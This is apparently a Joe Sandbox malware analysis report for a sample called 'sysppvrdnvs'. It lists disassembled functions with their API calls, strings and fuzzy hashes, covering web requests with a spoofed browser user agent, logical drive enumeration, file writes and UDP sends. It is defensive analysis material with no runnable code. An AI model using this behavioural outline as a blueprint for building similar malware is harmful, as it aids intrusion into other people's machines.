HTTP/1.1 200 OK, xrefs: 0040E37F

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
Instruction ID: e67ba9521a541be798431772fb319970cc3d6429c6b3b7a9c3ce28b53cac335a
Opcode Fuzzy Hash: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
Instruction Fuzzy Hash: 5E2130B0940218ABDB20CB65DC45BE9BB74AB04308F1085E9EB19B72C0D7B95AD6CF5D

Function 0040F4B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040F4C7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F4E6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040F50F
InternetCloseHandle.WININET(00000000), ref: 0040F538
InternetCloseHandle.WININET(00000000), ref: 0040F542
Sleep.KERNEL32(000003E8), ref: 0040F54D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F4C2

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 2743515581-2960703779
Opcode ID: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction ID: af5d65e8d2fa993cc87ce820da5284d466d7432e490674ab1d3698c460306143
Opcode Fuzzy Hash: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction Fuzzy Hash: E7212975A40308BBDB20DF94CC49FEEB7B5AB04705F1084A5EA11AB2C0C7B9AA84CB55

Function 0040BC70 Relevance: 12.1, APIs: 8, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(004165F8,?,?,?,?,?,?,00408403), ref: 0040BC7B
CreateFileW.KERNEL32(004163E0,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040BCCD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040BCEE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040BD0D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040BD22
UnmapViewOfFile.KERNEL32(00000000), ref: 0040BD88
CloseHandle.KERNEL32(00000000), ref: 0040BD92
CloseHandle.KERNEL32(000000FF), ref: 0040BD9C

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID:
API String ID: 439099756-0
Opcode ID: 95b7ad4b48b2612a2ac74941d1961fd8d23959eee21eec156b7f746c57c5f411
Instruction ID: 789285c27e92e60cc42243599a26330008c438e37824d2da8ff51af530b364ad
Opcode Fuzzy Hash: 95b7ad4b48b2612a2ac74941d1961fd8d23959eee21eec156b7f746c57c5f411
Instruction Fuzzy Hash: 0F413A74E40309EBDB10EBA4DC4ABAEB774EB44705F20856AF6117A2C1C7B96941CB9C

Function 00405C00 Relevance: 12.1, APIs: 8, Instructions: 97fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00415B88,?,?,?,?,?,004083CD), ref: 00405C0B
CreateFileW.KERNEL32(00415FC8,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,004083CD), ref: 00405C25
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405C46
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405C65
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405C7E
UnmapViewOfFile.KERNEL32(00000000), ref: 00405D0B
CloseHandle.KERNEL32(00000000), ref: 00405D15
CloseHandle.KERNEL32(000000FF), ref: 00405D1F

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID:
API String ID: 3956458805-0
Opcode ID: d5d83b1f14bbe53c7a306cab709472362fb8432e959898be764c548cb6fd93a9
Instruction ID: 999418e1eeb904d95552c7fd1475d0c30f1e1fd8627807f9f1e65d0b0efdc9c4
Opcode Fuzzy Hash: d5d83b1f14bbe53c7a306cab709472362fb8432e959898be764c548cb6fd93a9
Instruction Fuzzy Hash: DE310E74E40209EBDB14DBA4DC49FAFB774EB48700F20856AE6017B2C0D7B96941CF99

Function 004060A0 Relevance: 10.7, APIs: 7, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415B88,00000000,0040C2A2,006A0266,?,0040C2BE,00000000,0040D66C,?), ref: 004060AF
memcpy.NTDLL(?,00000000,00000100), ref: 00406141
CreateFileW.KERNEL32(00415FC8,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00406265
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 004062C7
FlushFileBuffers.KERNEL32(000000FF), ref: 004062D3
CloseHandle.KERNEL32(000000FF), ref: 004062DD
LeaveCriticalSection.KERNEL32(00415B88,?,?,?,?,?,?,0040C2BE,00000000,0040D66C,?), ref: 004062E8

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID:
API String ID: 1457358591-0
Opcode ID: e72a487dce04114ef622edc0900d7397c89588e022fce289eeb1184eb778240f
Instruction ID: a605c5c2860c2acc1241a09a2373603bf375adc509756cd8cb030c585388e075
Opcode Fuzzy Hash: e72a487dce04114ef622edc0900d7397c89588e022fce289eeb1184eb778240f
Instruction Fuzzy Hash: D171BCB4E042099FCB04DF94D981FEFB7B1AF88304F14816DE506AB381D779A951CBA9

Function 0040ECC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

deviceType, xrefs: 0040ED86
device, xrefs: 0040ED73

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction ID: 03739fb7cbf0ac8b4f24cf275543a684364e3b5b0ef8f18e7a9da7a5ef98527e
Opcode Fuzzy Hash: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction Fuzzy Hash: 1A413A75A0020ADFCB04DF99D884BAFB7B5FF48304F108969E505A7390D778AA91CB95

Function 0040EB60 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

serviceType, xrefs: 0040EC26
service, xrefs: 0040EC13

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction ID: 010777473a756836e58c8d4bedbd534eac8e5d19c37eb4cb5fbe46cee8795b1d
Opcode Fuzzy Hash: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction Fuzzy Hash: 9F416A74A0020ADFDB04CF99C884BAFB7B9BF48304F108969E505B7390D779AE81CB95

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 3ac2f8f5af7b0d3c40b8ef892d708a394eff8d7b565022b2108cc4f7acf51177
Instruction ID: a453b5b0d0ea6fd4c501cc83d62b7a74cd48d0bc9ee55fa6e36116878b1ddbe7
Opcode Fuzzy Hash: 3ac2f8f5af7b0d3c40b8ef892d708a394eff8d7b565022b2108cc4f7acf51177
Instruction Fuzzy Hash: D231D1722012059BC710AFB5ED8CAE7B7A8FB44314F04863EE55AD3280DB78A4449BA9

Function 0040ED01 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

deviceType, xrefs: 0040ED86
device, xrefs: 0040ED73

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction ID: 82367b585ef85f09a19fbcbd702cec43aacbd83c2379c0e5ae25b899a50ddae9
Opcode Fuzzy Hash: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction Fuzzy Hash: F1313970A0020ADFCB14CF99D884BEFB7B5FF88304F108969E514A7390D778AA91CB95

Function 0040EBA1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

serviceType, xrefs: 0040EC26
service, xrefs: 0040EC13

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction ID: b0af1682f63206834f838cc0e71cdea1734b5e967c65deefb948a4066f0743c7
Opcode Fuzzy Hash: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction Fuzzy Hash: 09312874A0420A9FDB04CF99C884BEFB7B5BF48304F108969E615B7390D779AA81CB95

Function 004077F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0040786D
Sleep.KERNEL32(000003E8), ref: 0040789C
wsprintfA.USER32 ref: 004078C7
DeleteUrlCacheEntry.WININET(?), ref: 004078D7
Sleep.KERNEL32(000DBBA0), ref: 0040791F

Strings

%s%s, xrefs: 004078BB

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: 0f885536a534958de828f6dadf3c238a14188cbeabebc74b6a6376721a3f9b9c
Instruction ID: a96cc5071c69656b1b6f4b00c6699880e4d6530ea1aa1078cf67c052952084b8
Opcode Fuzzy Hash: 0f885536a534958de828f6dadf3c238a14188cbeabebc74b6a6376721a3f9b9c
Instruction Fuzzy Hash: 643116B0C01218DFCB50DFA8DC887EDBBB4BB48304F1085AAE609B6290D7795AC4CF59

Function 004063E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 004063E6
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
RegCloseKey.ADVAPI32(?), ref: 0040647E

Strings

NoDrives, xrefs: 00406458
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406427

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction ID: 87cba227ccd7b938b07588cb79f30f32aa16a0fd6c84a7572e83495dfcaef010
Opcode Fuzzy Hash: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction Fuzzy Hash: D311FCB0E0020A9BDB10CFD0D945BEEBBB4BB08304F118119E615B7280D7B85685CF99

Function 0040DBE0 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04

Part of subcall function 0040DCD0: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040DD10
Part of subcall function 0040DCD0: CloseHandle.KERNEL32(?), ref: 0040DD29

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction ID: 271f69a92097b1b74c70525479ef463fb32d1143369d808ec26f6a45d53993ac
Opcode Fuzzy Hash: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction Fuzzy Hash: 8D31FA74A00208EFDB04DF98D889B9E7BB5EF48314F0085A8E906A7391D774EA95CF94

Function 00407720 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00407726
srand.MSVCRT ref: 0040772D
rand.MSVCRT ref: 00407735
Sleep.KERNEL32 ref: 00407746
StrChrA.SHLWAPI(00000000,0000007C), ref: 0040776C
Sleep.KERNEL32(000003E8), ref: 0040779D

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleep$CountTickrandsrand
String ID:
API String ID: 3488799664-0
Opcode ID: c4b67ad1fad57f8bcb632e0803aeb8977b8bb7c39f14d193e10d0355081e485a
Instruction ID: d526f444081091d18ff5343ef40ffd9a09f2c1e6f6858c3ecb06089bc02b22b2
Opcode Fuzzy Hash: c4b67ad1fad57f8bcb632e0803aeb8977b8bb7c39f14d193e10d0355081e485a
Instruction Fuzzy Hash: 1F21A479E00208FBC704DF60D885AAE7B31AB45304F10C47AE9026B381D679BA80CB56

Function 00409860 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040986D
_aullshr.NTDLL ref: 0040987E
_allshl.NTDLL ref: 004098A0
_aullshr.NTDLL ref: 004098BC
_allshl.NTDLL ref: 004098DE
_aullshr.NTDLL ref: 004098FA

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction ID: 526ada65c8064deb58b6c5f7a60763359622b06b1071bb594fb8502c37df64e6
Opcode Fuzzy Hash: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction Fuzzy Hash: C1111F32600618AB8B10EF5EC4426CABBD6EF84361B25C136FC2CDF359D634DA454BD8

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 40dba2aff78ba806bae8a6d526fcd496496bfc60c7e892d92015a678719dcbf9
Instruction ID: 05dd75d8116292c76d11c3cc90d45d23dbf78b8bb9632d9a28891a4d74dcab7a
Opcode Fuzzy Hash: 40dba2aff78ba806bae8a6d526fcd496496bfc60c7e892d92015a678719dcbf9
Instruction Fuzzy Hash: 0731B3762083009BC710DF69D880A9BBBF4AFC9714F04457EFD9897381D6349914C7AB

Function 00406360 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?c@), ref: 0040636D
QueryDosDeviceW.KERNEL32(?c@,?,00000208), ref: 004063AC
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 004063C4

Strings

?c@, xrefs: 00406369, 004063A8, 0040636C, 004063AB
\??\, xrefs: 004063B8

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: ?c@$\??\
API String ID: 1681518211-744975932
Opcode ID: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction ID: e6efffa98ab35b62633249d18dd791fc9affcc5f03e1fdb0b50d0aac4f7d71b0
Opcode Fuzzy Hash: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction Fuzzy Hash: 6101F474A4021CEBCB20CF55DD497DD7774AB04714F00C0BAAA06A7280D6759FD5CF99

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: c65f9457ed9e15c383df9cb8ba30375030b5d01632cb0b7646eecf1c4dd6c2f0
Instruction ID: 3b152336b57d45bd484518126aaa8069a8e5b95e48398e5ac574b9fb36890b51
Opcode Fuzzy Hash: c65f9457ed9e15c383df9cb8ba30375030b5d01632cb0b7646eecf1c4dd6c2f0
Instruction Fuzzy Hash: 8C41C371A00A02ABC714AB399848793F3A4BF84310F14823AE82D93391E739B855CB99

Function 0040B530 Relevance: 7.6, APIs: 5, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(004163E0,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B5C8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B5E9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B5F3
CloseHandle.KERNEL32(000000FF), ref: 0040B5FD
InterlockedExchange.KERNEL32(00414FB0,0000003D), ref: 0040B60A

Memory Dump Source

